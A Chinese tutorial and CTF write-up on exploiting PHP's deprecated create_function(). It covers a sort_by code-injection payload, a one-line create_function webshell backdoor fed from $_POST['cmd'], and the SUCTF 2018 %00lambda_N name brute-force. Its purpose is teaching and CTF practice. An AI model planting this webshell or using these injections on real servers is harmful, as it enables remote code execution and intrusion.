create_function()漏洞利用

什么是 create_function()

create_function() 是 PHP 早期提供的一个用来创建匿名函数的函数:

复制代码
$func = create_function('$a,$b', 'return $a + $b;');
echo $func(1, 2); // 输出 3

第一个参数是函数的参数列表(字符串形式),第二个参数是函数体(也是字符串)。

也就是说:它会把字符串当作代码执行!

从 PHP 7.2 开始,这个函数已经被废弃,因为太容易被滥用了

举个危险的例子

复制代码
$input = $_GET['code'];
$func = create_function('$x', "return $input;");
echo $func(0);

如果用户访问:

复制代码
example.php?code=phpinfo()

代码就会变成:

复制代码
$func = create_function('$x', "return phpinfo();");

然后服务器就会执行 phpinfo()造成信息泄露

注入

复制代码
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload:

复制代码
?sort_by=%27%22]);}phpinfo();/*

首先传参后会变成:

复制代码
$sort_function = ' return 1 * strnatcasecmp($a["'"]);}phpinfo();/*"], $b["'"]);}phpinfo();/*"]);';

然后将这个放入create_function:

复制代码
create_function('$a, $b', ' return 1 * strnatcasecmp($a["'"]);}phpinfo();/*"], $b["'"]);}phpinfo();/*"]);');

这里就会生成一个这样的函数:

复制代码
function($a, $b) {
    return 1 * strnatcasecmp(
        $a["'"] //  合法访问数组(虽然没啥意义)
    );       //  闭合 return 调用
    }        //  闭合函数体结构
    phpinfo(); //  恶意代码执行
    /*"], $b["'"]);}phpinfo();/*"]); //  这些变成注释,避免语法错误
}

后门

大家经常忽略一点,就是creation_function也是可以用来构造一句话木马的后门的(说实话高版本creation_function都被废弃了,忽略也不是毫无道理的)

复制代码
<?php $func =create_function('',$_POST['cmd']);$func();?>

将这个写入php文件就可以当后门使用,等价于eval

那么问题来了,为什么会等价呢

先来看 **create_function()**的定义

create_function() 的定义如下(PHP 官方解释):

复制代码
create_function(string $args, string $code): Closure

这个函数的作用是:动态创建一个匿名函数 ,参数列表是 $args,函数体是 $code,并返回这个匿名函数的句柄。

它是怎么"动态创建"的呢?

从 PHP 源码和官方文档的解释来看,**create_function()**的内部实现就是用 **eval()**把代码构造出来然后执行的

比如:

复制代码
$func = create_function('$a, $b', 'return $a + $b;');

等价于:

复制代码
$func = eval('return function($a, $b) { return $a + $b; };');

所以本质上它会动态生成一个 function (...) { ... } 的结构,然后 eval 掉。

接下来才是今天的重点

create_function创建"匿名"函数

各位师傅可能看到这个引号就明白这里创建的匿名函数一定不是真匿名的

使用create_function()创建"匿名"函数 - OSCHINA - 中文开源技术交流社区

这里推荐一篇文章

总结一下就是create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_[0-999],后面的数字会逐步递增

因为create_function是返回函数名称的,函数返回一个唯一的字符串函数名, 出现错误的话则返回FALSE。

这么说这个函数也只是动态的创建了一个函数,而这个函数是有函数名的,也就是说,其实这并不是匿名的。 只是创建了一个全局唯一的函数而已。

所以接下来就来看看这道例题

[SUCTF 2018]annonymous

复制代码
<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();

show_source(__FILE__);

源码小小一段,但是短小精悍

简单来说就是 用create_function创造了一个匿名函数会输出flag

接着openssl_random_pseudo_bytes(32)生成一个随机数,然后将其转成了十六进制,将其赋值给$hash

接着SUCTF_和hash拼接成一个新的函数名,函数会执行上面构造的匿名函数

下面的func_name可以传一个函数进去并执行

那么就可以利用匿名函数的漏洞解出flag,只要拿bp爆一下%00lambda_[0-999]后面的数字就好了

相关推荐
安顾里27 分钟前
LInux平均负载
linux·服务器·php
墨北x2 小时前
网络安全职业技能大赛Server2003
安全·web安全
K.A.L4 小时前
熊海CMS Cookie脆弱
web安全
半个西瓜.5 小时前
武装Burp Suite工具:xia SQL自动化测试_插件
安全·web安全·网络安全·安全威胁分析
IT科技那点事儿6 小时前
量子计算浪潮下的安全应对之法
安全·量子计算
神经毒素7 小时前
WEB安全--RCE--disable_function bypass
安全·web安全
FreeBuf_7 小时前
微软Entra新安全功能引发大规模账户锁定事件
安全·microsoft
我最厉害。,。8 小时前
-PHP 反序列化&POP 链构造&魔术方法流程&漏洞触发条件&属性修改
开发语言·php
Fanerma1218 小时前
来访登记二维码生成
大数据·安全